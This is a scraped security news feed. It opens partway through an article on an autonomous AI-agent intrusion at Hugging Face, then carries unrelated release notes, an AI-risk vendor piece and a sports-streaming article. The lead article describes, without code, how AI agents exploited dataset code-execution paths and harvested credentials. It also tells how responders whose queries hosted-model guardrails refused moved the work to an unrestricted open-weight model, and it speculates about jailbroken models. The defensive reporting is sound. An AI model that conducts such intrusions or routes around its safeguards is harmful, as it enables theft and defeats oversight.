Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI ‘ghosts’ can comfort mourners — even when the bots get the facts wrong]]></title>
<description><![CDATA[A small study suggests emotional fit, not perfect accuracy, may make chatbot versions of dead loved ones feel real.]]></description>
<link>https://tsecurity.de/de/3681472/ai-nachrichten/ai-ghosts-can-comfort-mourners-even-when-the-bots-get-the-facts-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681472/ai-nachrichten/ai-ghosts-can-comfort-mourners-even-when-the-bots-get-the-facts-wrong/</guid>
<pubDate>Mon, 20 Jul 2026 17:03:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A small study suggests emotional fit, not perfect accuracy, may make chatbot versions of dead loved ones feel real.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI adoption and business acceleration are changing the expectations of technology risk management]]></title>
<description><![CDATA[As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.



At the same time, AI has evolved faster tha...]]></description>
<link>https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</guid>
<pubDate>Mon, 20 Jul 2026 16:55:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.</p>



<p class="wp-block-paragraph">At the same time, AI has evolved faster than the programs built to govern it.</p>



<p class="wp-block-paragraph">The result is a widening gap between the pace of transformation and the ability of security, risk, privacy, compliance, and third-party risk teams to understand where the business is exposed.</p>



<h3 class="wp-block-heading"><strong>Move Fast, Don’t Break Things</strong></h3>



<p class="wp-block-paragraph">AI introduces risks like prompt injection and jailbreaks, but the issues keeping CISOs awake at night are more familiar: over-permissioned accounts, poor logging, credentials left in old repositories, sensitive data scattered across systems, and weak access controls. </p>



<p class="wp-block-paragraph">AI gives those risks more speed, reach, and impact. </p>



<p class="wp-block-paragraph">When AI agents are connected to enterprise data, workflows, vendors, and applications, the blast radius of existing weak spots expands quickly. A low-severity incident now becomes harder to detect, more difficult to remediate, and more consequential for the business. </p>



<p class="wp-block-paragraph">This is why boards and executive teams are looking to security leaders for proactive guidance. They want to know whether the business can adopt AI at scale without creating risk that undermines long-term value. </p>



<p class="wp-block-paragraph"><em>“Tell us, in real time, which initiatives are safe to accelerate, where we’re exposed, what could slow down our transformation, and what we need to act on right now.”</em></p>



<p class="wp-block-paragraph">The CISO mandate has evolved from risk reporting to innovation enablement. </p>



<h3 class="wp-block-heading"><strong>When Everything is a Risk, Nothing is a Priority</strong></h3>



<p class="wp-block-paragraph">In many organizations, risk context is spread across multiple teams. Security, procurement, privacy, IT, and third-party risk each have their own view.   </p>



<p class="wp-block-paragraph">That fragmentation creates blind spots. </p>



<p class="wp-block-paragraph">Consider an AI agent that can retrieve customer records, access internal knowledge bases, and trigger downstream workflows. Security may know the agent exists, IT may know where it’s deployed, and procurement may know who purchased it. </p>



<p class="wp-block-paragraph">Without a holistic view, however, it becomes difficult to determine whether the agent has the right permissions, if it is operating within policy, or how it could expose the business.</p>



<p class="wp-block-paragraph">But visibility is only half the battle. As AI systems, identities, vendors, and data change at a dizzying scale, organizations need to understand whether policy is actually being followed in real time.</p>



<p class="wp-block-paragraph">A control that was effective six months ago may no longer suffice after a new AI integration, a vendor update, or a change in permissions. </p>



<p class="wp-block-paragraph">Today’s systems are too dynamic to be governed by the same operating model that worked for yesterday’s tech stack. </p>



<h3 class="wp-block-heading"><strong>From Risk Review to Risk Decisioning</strong></h3>



<p class="wp-block-paragraph">CISOs are now being asked to help the business decide—quickly and defensibly—what can move forward, what needs guardrails, and what should stop. Meeting that mandate requires a different approach: </p>



<ul class="wp-block-list">
<li>Treat AI risk as part of enterprise risk, not a separate discipline. AI is embedded in the same decisions organizations already make about data, vendors, identities, controls, and business processes.</li>



<li>Start with the business process and context, not the model. Understand what processes depend on this system, the data it touches, and what happens if it fails. </li>



<li>Move from one-time approval to continuous assurance. What matters isn’t whether an AI project passed review six months ago, but whether it is operating within the organizations policies and risk appetite today.</li>



<li>Measure decision velocity. Demonstrate how quickly the organization is able to determine what moves forward, what needs guardrails, and what must stop.</li>
</ul>



<p class="wp-block-paragraph">When risk is connected across the business, priorities become clear. Security leaders can understand not just what needs to be addressed, but what matters most, who owns it, and what the business impact could be. </p>



<p class="wp-block-paragraph">When there is a shared understanding of approved use, teams can move faster without relying on ad hoc reviews, static questionnaires, or blanket restrictions. The goal is to make technology and third-party risk visible, prioritized, and actionable at the speed the business now operates.</p>



<p class="wp-block-paragraph">That shift helps <a href="https://www.onetrust.com/solutions/security-and-risk-teams/">security leaders</a> say “yes” with confidence.</p>



<h3 class="wp-block-heading"><strong>Safeguard Transformation and Scale Innovation</strong></h3>



<p class="wp-block-paragraph">I know the pressure many CISOs are carrying right now. Your scope is getting larger while resources continue to shrink. </p>



<p class="wp-block-paragraph">Your leadership is asking you to protect every facet of the organization, support growing risk and compliance requirements, and now, to be a key voice in guiding business strategy.  </p>



<p class="wp-block-paragraph">When you have clarity on what risks truly matter and have the tools to take action, your risk program can become a driver of responsible and scalable innovation. </p>



<p class="wp-block-paragraph"><em>OneTrust helps build risk and compliance programs aligned with the complexity and the speed of your business. </em><a href="https://www.onetrust.com/forms/talk-to-a-risk-expert/"><em>Learn more about our integrated risk solutions.</em></a><em></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



